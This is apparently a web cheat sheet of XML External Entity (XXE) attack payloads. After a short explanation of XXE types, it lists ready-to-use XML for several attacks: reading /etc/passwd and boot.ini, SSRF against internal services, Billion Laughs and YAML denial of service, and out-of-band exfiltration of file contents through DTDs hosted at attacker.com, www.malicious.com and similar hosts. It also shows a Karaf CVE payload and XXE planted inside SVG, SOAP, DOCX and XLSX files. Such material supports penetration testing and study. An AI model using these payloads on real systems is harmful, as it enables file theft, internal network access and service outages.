Skip to content

XML External Entities (XXE)

What is XXE Attack?

An XML External Entity (XXE) attack (sometimes called an XXE injection attack) is a type of attack that abuses a widely available but rarely used feature of XML parsers. Using XXE, an attacker is able to cause Denial of Service (DoS) as well as access local and remote content and services. XXE can be used to perform Server Side Request Forgery (SSRF) inducing the web application to make requests to other applications. In some cases, XXE may even enable port scanning and lead to remote code execution.

Types of XXE

  • Inband XXE
  • Error-based XXE
  • Out-of-band XML External Entity (OOB-XXE)

Inband XXE

In-band XXE attacks are more common and let the attacker receive an immediate response to the XXE payload.

Blind XXE

Error-based and Out-of-band XXE are its types.

Error-based XXE

It's a bit like Blind XXE, here you get to see some error's and we need to escalate it future to show the impact.

Out-of-band XML External Entity (OOB-XXE)

Out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application. here, we cannot retrieve the server-side files directly, making it harder to find, but definitely its possible after some smart/hard work.

Payloads

Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

It might help to set the Content-Type: application/xml in the request when sending XML payload to the server.

Exploiting XXE to retrieve files

Classic XXE

We try to display the content of the file /etc/passwd

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

⚠️ SYSTEM and PUBLIC are almost synonym.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

Classic XXE Base64 encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue du CTF</adress>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

XInclude attacks

When you can't modify the DOCTYPE element use the XInclude to target

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Exploiting XXE to perform SSRF attacks

XXE can be combined with the SSRF vulnerability to target another service on the network.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

Exploiting XXE to perform a deny of service

⚠️ : These attacks might kill the service or the server, do not use them on the production.

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Error Based XXE

Payload to trigger the XXE

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Contents of ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>

Send the content of /etc/passwd to "www.malicious.com", you may receive only the first line.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

XXE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>

Send the XML file to the deploy folder.

Ref. brianwrf/CVE-2018-11788

XXE with local DTD

In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:

<!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]>
<root>&test;</root>

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">

    %local_dtd;
]>
<root></root>

Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>

    %local_dtd;
]>
<root></root>

Other payloads using different DTDs

XXE in exotic files

XXE inside SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

Classic

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

OOB via SVG rasterization

xxe.svg

<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

xxe.xml

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">

XXE inside SOAP

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

  • /_rels/.rels
  • [Content_Types].xml
  • Default Main Document Part
  • /word/document.xml
  • /ppt/presentation.xml
  • /xl/workbook.xml

Then update the file zip -u xxe.docx [Content_Types].xml

Tool : https://github.com/BuffaloWill/oxml_xxe

DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)

XXE inside XLSX file

Extract the excel file.

$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive:  ../XXE.xlsx
  inflating: xl/drawings/drawing1.xml
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/sharedStrings.xml
  inflating: xl/styles.xml
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: _rels/.rels
  inflating: [Content_Types].xml

Add your blind XXE payload inside xl/workbook.xml.

<xml...>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<x>&xxe;</x>
<workbook...>

Rebuild the Excel file.

$ zip -r ../poc.xslx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)

Tools

References

Workshop/labs